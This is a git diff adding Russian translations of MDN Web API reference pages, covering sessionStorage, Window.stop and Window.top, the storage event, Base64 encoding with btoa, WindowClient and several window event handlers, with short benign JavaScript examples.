Свойство sessionStorage позволяет получить доступ к объекту {{domxref("Storage")}} текущей сессии. Свойство sessionStorage очень похоже на свойство {{domxref("Window.localStorage")}}, единственное различие заключается в том, что все данные, сохраненные в localStorage не имеют определенного времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остается активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы, что отличается от поведения session cookies.

+ +

Синтаксис

+ +
// Сохранение данных в sessionStorage
+sessionStorage.setItem('key', 'value');
+
+// Получение данных из sessionStorage
+var data = sessionStorage.getItem('key');
+ +

Значение

+ +

Объект типа {{domxref("Storage")}}.

+ +

Пример

+ +

Следующий код получает доступ к объекту {{domxref("Storage")}}  текущией сессии домена и добавляет данные в него используя {{domxref("Storage.setItem()")}}.

+ +
sessionStorage.setItem('myCat', 'Tom');
+ +

Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение  текстового поля будет восстановлено. Таким образом ничего из введенного пользователем не потеряется даже в этом случае.

+ +
// Получаем ссылку на текстовое поле,
+// изменение которого будем отслеживать.
+var field = document.getElementById("field");
+
+// Проверяем наличие значения 'autosave'
+// (это может произойти только если страница будет случайно обновлена)
+if (sessionStorage.getItem("autosave")) {
+  // Восстанавливаем содержимое текстового поля
+  field.value = sessionStorage.getItem("autosave");
+}
+
+// Отслеживаем все изменения в текстовом поле
+field.addEventListener("change", function() {
+  // И сохраняем их в объект session storage
+  sessionStorage.setItem("autosave", field.value);
+});
+ +

 

+ +
+

Замечание: Обратитесь к статье Using the Web Storage API, чтобы изучить полный пример.

+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусЗамечание
{{SpecName('Web Storage', '#the-sessionstorage-attribute', 'sessionStorage')}}{{Spec2('Web Storage')}} 
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

Все браузеры имеют разный уровень поддержки как localStorage так и sessionStorage. Здесь вы можете посмотреть detailed rundown of all the storage capacities for various browsers.

+ +
+

Замечание: начиная с iOS 5.1, Safari Mobile сохраняет данные из localStorage в специальную папку, которая может быть случайно очищена по просьбе системы, обычно это происходит, когда заканчивается место.

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/window/stop/index.html b/files/ru/web/api/window/stop/index.html new file mode 100644 index 0000000000..6e79508b29 --- /dev/null +++ b/files/ru/web/api/window/stop/index.html @@ -0,0 +1,45 @@ +--- +title: Window.stop() +slug: Web/API/Window/stop +translation_of: Web/API/Window/stop +--- +
 {{APIRef}}
+ +

Анотация

+ +

Этот метод прекращает загрузку страницы.

+ +

Синтаксис

+ +
window.stop()
+
+ +

Пример

+ +
window.stop();
+
+ +

Примечания

+ +

Метод stop() равноценный клику кнопки стоп в браузере. Из-за порядка в котором загружаются скрипты, этот метод не может остановить загрузку документа в котором он вызывается, но он остановит загрузку больших картинок, новых окон и остальных объектов загрузка которых отложена.

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','browsers.html#dom-window-stop','Window.stop()')}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

Метод stop() не поддерживается в Internet Explorer.

diff --git a/files/ru/web/api/window/storage_event/index.html b/files/ru/web/api/window/storage_event/index.html new file mode 100644 index 0000000000..c110f571ca --- /dev/null +++ b/files/ru/web/api/window/storage_event/index.html @@ -0,0 +1,82 @@ +--- +title: storage +slug: Web/API/Window/storage_event +translation_of: Web/API/Window/storage_event +--- +

Событие storage сигнализирует,  что данные в объектах localStorage или sessionStorage были изменены.  Подробнее см. Web Storage API.

+ +

Общая информация

+ +
+
Specification
+
Web Storage
+
Interface
+
{{domxref("StorageEvent")}}
+
Bubbles
+
Нет
+
Cancelable
+
Нет
+
Target
+
DefaultView (<window>)
+
Default Action
+
Нет
+
+ +

Свойства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
key {{readonlyInline}}{{domxref("DOMString")}} (string)The key being changed.
oldValue {{readonlyInline}}{{domxref("DOMString")}} (string)The old value of the key being changed.
newValue {{readonlyInline}}{{domxref("DOMString")}} (string)The new value of the key being changed.
url {{readonlyInline}}{{domxref("DOMString")}} (string)The address of the document whose key changed.
storageArea {{readonlyInline}}{{domxref("Storage")}}The Storage object that was affected.
diff --git a/files/ru/web/api/window/top/index.html b/files/ru/web/api/window/top/index.html new file mode 100644 index 0000000000..5d1bf9db04 --- /dev/null +++ b/files/ru/web/api/window/top/index.html @@ -0,0 +1,99 @@ +--- +title: Window.top +slug: Web/API/Window/top +translation_of: Web/API/Window/top +--- +
{{APIRef}}
+ +

Возвращает ссылку на корневое окно в иерархии окон.

+ +

Синтаксис

+ +
var topWindow = window.top;
+
+ +

Примечание

+ +

Если свойство {{domxref("window.parent")}} возвращает ссылку именно на родительское окно текущего окна, то  window.top возвращает ссылку на самое верхнее окно в текущей иерархии окон.

+ +

Это свойство полезно, когда вы имеете дело с окном (фреймом), которое находится в подкадре родителя или родителей, и вы хотите получить ссылку на верхний уровень всего набора окон.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-top', 'window.top')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-top', 'window.top')}}{{Spec2('HTML5 W3C')}}Initial definition
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Starting in Gecko 6.0 {{geckoRelease("6.0")}}, this property is read only, as defined by the standard.

diff --git a/files/ru/web/api/windowbase64/base64_encoding_and_decoding/index.html b/files/ru/web/api/windowbase64/base64_encoding_and_decoding/index.html new file mode 100644 index 0000000000..b85f3671ef --- /dev/null +++ b/files/ru/web/api/windowbase64/base64_encoding_and_decoding/index.html @@ -0,0 +1,138 @@ +--- +title: Кодирование и декодирование в формате Base64 +slug: Web/API/WindowBase64/Base64_encoding_and_decoding +translation_of: Glossary/Base64 +--- +

Base64 - это группа cхожих binary-to-text encoding схем, которые представляют двоичные данные в ASCII-формате методом перевода в radix-64 представление. Термин Base64 происходит от a specific MIME content transfer encoding.

+ +

Кодирование Base64 широко используется в случаях, когда требуется перекодировать двоичные данные для передачи по каналу приспособленному для передачи текстовых данных. Это делается с целью защиты двоичных данных от любых возможных повреждений при передаче. Base64 широко используется во многих приложениях, включая электронную почту (MIME), и при сохранении больших объёмов данных в XML.

+ +

В языке JavaScript существуют две функции, для кодирования и декодирования данных в/из формат Base64 соответственно:

+ + + +

Функция atob() декодирует Base64-кодированную строку. В противоположность ей, функция btoa() создаёт Base64 кодированную ASCII строку из "строки" бинарных данных.

+ +

Обе функции atob() и btoa() работают со строками. Если вам необходимо работать с ArrayBuffers, обратитесь к этому параграфу.

+ + + + + + + + +
+

Документация

+ +
+
data URIs
+
data URIs, описанные в RFC 2397, позволяют создателям контента встроить в документ маленькие файлы в виде строки (инлайном).
+
Base64
+
Wikipedia article about Base64 encoding.
+
{{domxref("WindowBase64.atob","atob()")}}
+
Decodes a string of data which has been encoded using base-64 encoding.
+
{{domxref("WindowBase64.btoa","btoa()")}}
+
Creates a base-64 encoded ASCII string from a "string" of binary data.
+
The "Unicode Problem"
+
In most browsers, calling btoa() on a Unicode string will cause a Character Out Of Range exception. This paragraph shows some solutions.
+
URIScheme
+
List of Mozilla supported URI schemes
+
StringView
+
In this article is published a library of ours whose aims are: +
    +
  • creating a C-like interface for strings (i.e. array of characters codes — ArrayBufferView in JavaScript) based upon the JavaScript ArrayBuffer interface,
    • +
  • creating a collection of methods for such string-like objects (since now: stringViews) which work strictly on array of numbers rather than on immutable JavaScript strings,
    • +
  • working with other Unicode encodings, different from default JavaScript's UTF-16 DOMStrings,
    • +
+
+
+ +

View All...

+ 		+

Tools

+ + + +

View All...

+ + + + +
+ +

The "Unicode Problem"

+ +

Since DOMStrings are 16-bit-encoded strings, in most browsers calling window.btoa on a Unicode string will cause a Character Out Of Range exception if a character exceeds the range of a 8-bit byte (0x00~0xFF). There are two possible methods to solve this problem:

+ + + +

Here are the two possible methods.

+ +

Solution #1 – escaping the string before encoding it

+ +
function b64EncodeUnicode(str) {
+    // first we use encodeURIComponent to get percent-encoded UTF-8,
+    // then we convert the percent encodings into raw bytes which
+    // can be fed into btoa.
+    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
+        function toSolidBytes(match, p1) {
+            return String.fromCharCode('0x' + p1);
+    }));
+}
+
+b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
+b64EncodeUnicode('\n'); // "Cg=="
+
+ +

To decode the Base64-encoded value back into a String:

+ +
function b64DecodeUnicode(str) {
+    // Going backwards: from bytestream, to percent-encoding, to original string.
+    return decodeURIComponent(atob(str).split('').map(function(c) {
+        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
+    }).join(''));
+}
+
+b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+b64DecodeUnicode('Cg=='); // "\n"
+
+ +

Unibabel implements common conversions using this strategy.

+ +

Solution #2 – rewrite the DOMs atob() and btoa() using JavaScript's TypedArrays and UTF-8

+ +

Use a TextEncoder polyfill such as TextEncoding (also includes legacy windows, mac, and ISO encodings), TextEncoderLite, combined with a Buffer and a Base64 implementation such as base64-js.

+ +

When a native TextEncoder implementation is not available, the most light-weight solution would be to use TextEncoderLite with base64-js. Use the browser implementation when you can.

+ +

The following function implements such a strategy. It assumes base64-js imported as <script type="text/javascript" src="base64js.min.js"/>. Note that TextEncoderLite only works with UTF-8.

+ +
function Base64Encode(str, encoding = 'utf-8') {
+    var bytes = new (TextEncoder || TextEncoderLite)(encoding).encode(str);
+    return base64js.fromByteArray(bytes);
+}
+
+function Base64Decode(str, encoding = 'utf-8') {
+    var bytes = base64js.toByteArray(str);
+    return new (TextDecoder || TextDecoderLite)(encoding).decode(bytes);
+}
+
diff --git a/files/ru/web/api/windowbase64/btoa/index.html b/files/ru/web/api/windowbase64/btoa/index.html new file mode 100644 index 0000000000..06b76a6304 --- /dev/null +++ b/files/ru/web/api/windowbase64/btoa/index.html @@ -0,0 +1,141 @@ +--- +title: WindowBase64.btoa() +slug: Web/API/WindowBase64/btoa +translation_of: Web/API/WindowOrWorkerGlobalScope/btoa +--- +
{{APIRef("HTML DOM")}}
+ +

Создает ASCII строку закодированную в base-64 из "строки" бинарных данных.

+ +

Будьте внимательней этот способ не подходит для Unicode строк! Описание работы с Unicode в секции ниже.

+ +

Синтаксис

+ +
var encodedData = window.btoa(stringToEncode);
+ +

Пример

+ +
var encodedData = window.btoa("Hello, world"); // encode a string
+var decodedData = window.atob(encodedData); // decode the string
+
+ +

Замечания

+ +

Вы можете воспользоваться этим способом, чтобы избежать проблем при передаче данных через сетевое соединение. Для этого нужно перекодировать данные в base64 и отправить их, и на другой стороне с помощью метода {{domxref("WindowBase64.atob","window.atob()")}} декодировать полученные данные в исходный вид. Например, вы можете перекодировать управляющие символы ASCII с 0 до 31.

+ +

btoa() также доступна для XPCOM компонентов реализованных в JavaScript, даже если window не является глобальным объектом в компонентах.

+ +

Строки Юникод

+ +

В большинстве браузеров, вызов window.btoa() на Unicode строке выбросит исключение Character Out Of Range (Символ вне допустимого диапазона).

+ +

Чтобы избежать этого, воспользуйтесь патерном, предложеным Johan Sundström:

+ +
function utf8_to_b64(str) {
+    return window.btoa(unescape(encodeURIComponent(str)));
+}
+
+function b64_to_utf8(str) {
+    return decodeURIComponent(escape(window.atob(str)));
+}
+
+// Usage:
+utf8_to_b64('✓ à la mode'); // JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ==
+b64_to_utf8('JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ=='); // "✓ à la mode"
+
+utf8_to_b64('I \u2661 Unicode!'); // SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ==
+b64_to_utf8('SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ=='); // "I ♡ Unicode!"
+
+
+ +

Более правильный и производительный способ - это конвертировать DOMString в UTF-8 строку передав typed arrays. Как это сделать узнать можно здесь в этом параграфе.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
+ +

Совместимость браузеров

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}[1]10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] btoa() также доступна для XPCOM компонентов реализованных в JavaScript, даже если window не является глобальным объектом в компонентах.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/windowbase64/index.html b/files/ru/web/api/windowbase64/index.html new file mode 100644 index 0000000000..40051820b4 --- /dev/null +++ b/files/ru/web/api/windowbase64/index.html @@ -0,0 +1,120 @@ +--- +title: WindowBase64 +slug: Web/API/WindowBase64 +tags: + - API + - HTML-DOM + - Helper + - NeedsTranslation + - TopicStub + - WindowBase64 +translation_of: Web/API/WindowOrWorkerGlobalScope +--- +

{{APIRef("HTML DOM")}}

+ +

The WindowBase64 helper contains utility methods to convert data to and from base64, a binary-to-text encoding scheme. For example it is used in data URIs.

+ +

There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.

+ +

Properties

+ +

This helper neither defines nor inherits any properties.

+ +

Methods

+ +

This helper does not inherit any methods.

+ +
+
{{domxref("WindowBase64.atob()")}}
+
Decodes a string of data which has been encoded using base-64 encoding.
+
{{domxref("WindowBase64.btoa()")}}
+
Creates a base-64 encoded ASCII string from a string of binary data.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windowbase64', 'WindowBase64')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#windowbase64', 'WindowBase64')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#windowbase64", "WindowBase64")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop(1)}} [1]{{CompatVersionUnknown}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatGeckoMobile(1)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1]  atob() is also available to XPCOM components implemented in JavaScript, even though {{domxref("Window")}} is not the global object in components.

+ +

See also

+ + diff --git a/files/ru/web/api/windowclient/index.html b/files/ru/web/api/windowclient/index.html new file mode 100644 index 0000000000..66aed83307 --- /dev/null +++ b/files/ru/web/api/windowclient/index.html @@ -0,0 +1,98 @@ +--- +title: WindowClient +slug: Web/API/WindowClient +tags: + - API + - Client + - Experimental + - Interface + - Reference + - Service Workers + - ServiceWorker + - WindowClient +translation_of: Web/API/WindowClient +--- +

{{APIRef("Service Workers API")}}

+ +

Интерфейс WindowClient ServiceWorker API представляет область действия клиента сервис-воркера, который представляет собой документ в контексте просмотра, управляемый активным исполнителем. Клиент сервис-воркера самостоятельно выбирает и использует сервис-воркера для собственной загрузки и загрузки подресурсов.

+ +

Методы

+ +

WindowClient наследует методы от своего родительского интерфейса {{domxref("Client")}}.

+ +
+
{{domxref("WindowClient.focus()")}}
+
Фокусирует пользователя на текущем окне.
+
{{domxref("WindowClient.navigate()")}}
+
Загружает указанный URL-адрес на управляемую клиентскую страницу.
+
+ +

Свойства

+ +

WindowClient наследует методы от своего родительского интерфейса {{domxref("Client")}}.

+ +
+
{{domxref("WindowClient.focused")}} {{readonlyInline}}
+
Логическое значение, указывающее, находится ли текущая страница в фокусе.
+
{{domxref("WindowClient.visibilityState")}} {{readonlyInline}}
+
Указывает, отоборажается ли текущая страница. Это значение может быть одним из "hidden" (скрыта), "visible" (отображена) или "prerender" (предварительно отрисована).
+
+ +

Пример

+ +
self.addEventListener('notificationclick', function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // Проверяем, открыто ли окно и
+  // сфокусрованы ли на нем
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i < clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' && 'focus' in client) {
+        client.focus();
+        break;
+      }
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#windowclient', 'WindowClient')}}{{Spec2('Service Workers')}}Initial definition
+ +

Совместимость с браузером

+ +
+ + +

{{Compat("api.WindowClient")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/windoweventhandlers/index.html b/files/ru/web/api/windoweventhandlers/index.html new file mode 100644 index 0000000000..cdd4a8258b --- /dev/null +++ b/files/ru/web/api/windoweventhandlers/index.html @@ -0,0 +1,189 @@ +--- +title: WindowEventHandlers +slug: Web/API/WindowEventHandlers +tags: + - API + - HTML-DOM + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/WindowEventHandlers +--- +
{{APIRef("HTML DOM")}}
+ +

WindowEventHandlers describes the event handlers common to several interfaces like {{domxref("Window")}}, or {{domxref("HTMLBodyElement")}} and  {{domxref("HTMLFrameSetElement")}}. Each of these interfaces can implement more event handlers.

+ +

WindowEventHandlers is a not an interface and no object of this type can be created.

+ +

Properties

+ +

The events properties, of the form onXYZ, are defined on the {{domxref("WindowEventHandlers")}}, and implemented by {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.

+ +
+
{{domxref("WindowEventHandlers.onafterprint")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("afterprint")}} event is raised.
+
{{domxref("WindowEventHandlers.onbeforeprint")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeprint")}} event is raised.
+
{{domxref("WindowEventHandlers.onbeforeunload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeunload")}} event is raised.
+
{{domxref("WindowEventHandlers.onhashchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("hashchange")}} event is raised.
+
{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("languagechange")}} event is raised.
+
{{domxref("WindowEventHandlers.onmessage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.
+
{{domxref("WindowEventHandlers.onoffline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.
+
{{domxref("WindowEventHandlers.ononline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.
+
{{domxref("WindowEventHandlers.onpagehide")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pagehide")}} event is raised.
+
{{domxref("WindowEventHandlers.onpageshow")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pageshow")}} event is raised.
+
{{domxref("WindowEventHandlers.onpopstate")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("popstate")}} event is raised.
+
{{domxref("WindowEventHandlers.onresize")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("resize")}} event is raised.
+
{{domxref("WindowEventHandlers.onstorage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("storage")}} event is raised.
+
{{domxref("WindowEventHandlers.onunload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("unload")}} event is raised.
+
+ +

Methods

+ +

This interface defines no method.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. Added onlanguage since the {{SpecName("HTML 5")}} snapshot.
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowEventHandlers (properties where on the target before it).
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onhashchange{{CompatGeckoDesktop(1.9.2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onlanguage{{experimental_inline}}{{CompatGeckoDesktop(32)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onstorage{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onhashchange{{CompatGeckoMobile(1.9.2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onlanguage{{experimental_inline}}{{CompatGeckoMobile(32)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
onstorage{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/windoweventhandlers/onafterprint/index.html b/files/ru/web/api/windoweventhandlers/onafterprint/index.html new file mode 100644 index 0000000000..3a7708b9a5 --- /dev/null +++ b/files/ru/web/api/windoweventhandlers/onafterprint/index.html @@ -0,0 +1,52 @@ +--- +title: WindowEventHandlers.onafterprint +slug: Web/API/WindowEventHandlers/onafterprint +translation_of: Web/API/WindowEventHandlers/onafterprint +--- +
{{ApiRef}}
+ +

Свойство WindowEventHandlers.onafterprint устанавливает и возвращает обработчик {{domxref("EventHandler")}} события {{event("afterprint")}} в текущем окне.

+ +

Синтакс

+ +
window.onafterprint = код обработки события
+
+ +

Примечания

+ +

Некоторые браузеры (включая Firefox 6 и его более поздние версии, и Internet Explorer) генерируют события beforeprint и afterprint, чтобы дать сигнал о процессе распечатки страницы. Вы можете использовать эти события, чтобы повлиять на интерфейс пользователя во время печати (например, показать или скрыть отдельные его части).

+ +

Событие afterprint генерируется когда пользователь закончил печать или отменил её.

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#windoweventhandlers', 'onafterprint')}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.WindowEventHandlers.onafterprint")}}

+ +

Смотрите также

+ + + +
 
diff --git a/files/ru/web/api/windoweventhandlers/onbeforeunload/index.html b/files/ru/web/api/windoweventhandlers/onbeforeunload/index.html new file mode 100644 index 0000000000..f2e282cea5 --- /dev/null +++ b/files/ru/web/api/windoweventhandlers/onbeforeunload/index.html @@ -0,0 +1,87 @@ +--- +title: WindowEventHandlers.onbeforeunload +slug: Web/API/WindowEventHandlers/onbeforeunload +translation_of: Web/API/WindowEventHandlers/onbeforeunload +--- +
+
{{APIRef("HTML DOM")}}
+
+ +
 
+ +

Свойство обработчика события WindowEventHandlers.onbeforeunload содержит код, который выполняется при отправке события {{event("beforeunload")}}. Это событие срабатывает, когда окно браузера {{event("unload")}} свои ресурсы. При этом документ остаётся видимым и событие всё ещё можно отменить.

+ +
+

Примечание: Для борьбы с нежелательными всплывающими окнами, некоторые браузеры не отображают текст передаваемый в beforeunload событии, если они не связаны с самой страницей; некоторые не показывают их вообще. Список конкретных браузеров смотрите в секции: {{anch("Совместимость_с_браузерами")}}.

+
+ +

Синтаксис

+ +
window.onbeforeunload = funcRef
+ + + +

Пример

+ +
window.onbeforeunload = function(e) {
+  var dialogText = 'Dialog text here';
+  e.returnValue = dialogText;
+  return dialogText;
+};
+
+ +

Примечания

+ +

Когда это событие возвращает (или выставляет свойство returnValue)  значение, отличное от null или undefined, пользователю предлагается подтвердить {{event("unload")}} страницы в {{domxref("window.prompt", "prompt")}} . В некоторых браузерах возвращаемое значение отображается в этом диалоговом окне. Начиная с Firefox 4, Chrome 51, Opera 38 и Safari 9.1 вместо возвращаемой строки будет показана общая строка, не контролируемая страницей. Например, Firefox отображает строку: "This page is asking you to confirm that you want to leave - data you have entered may not be saved.". Смотрите {{bug("588292")}} и Chrome Platform Status.

+ +

С 25 мая 2011, в спецификации HTML5 указано, что исполнение методов {{domxref("window.alert()")}}, {{domxref("window.confirm()")}} и {{domxref("window.prompt()")}} может игнорироваться во время этого события. Смотрите cпецификацию HTML5 чтобы узнать подробности.

+ +

Также необходимо отметить, что различные мобильные браузеры игнорируют результат этого события (это является причиной, почему они не запрашивают подтверждения пользователя). Firefox имеет скрытую настройку в about:config для того, чтобы вести себя также. В сущности это значит, что пользователь постоянно подтверждает, что документ может быть выгружен.

+ +

Вы можете и должны обрабатывать данное событие через {{domxref("EventTarget.addEventListener","window.addEventListener()")}} и событие {{event("beforeunload")}}. Больше документации доступно здесь.

+ +

Спецификации

+ +

Событие было первоначально добавлено Microsoft в Internet Explorer 4 и стандартизовано в HTML5 спецификации.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}} 
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}} 
+ +

Совместимость с браузерами

+ +

{{Compat("api.WindowEventHandlers.onbeforeunload")}}

+ +
 
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/windoweventhandlers/onhashchange/index.html b/files/ru/web/api/windoweventhandlers/onhashchange/index.html new file mode 100644 index 0000000000..0f84311d42 --- /dev/null +++ b/files/ru/web/api/windoweventhandlers/onhashchange/index.html @@ -0,0 +1,158 @@ +--- +title: WindowEventHandlers.onhashchange +slug: Web/API/WindowEventHandlers/onhashchange +translation_of: Web/API/WindowEventHandlers/onhashchange +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

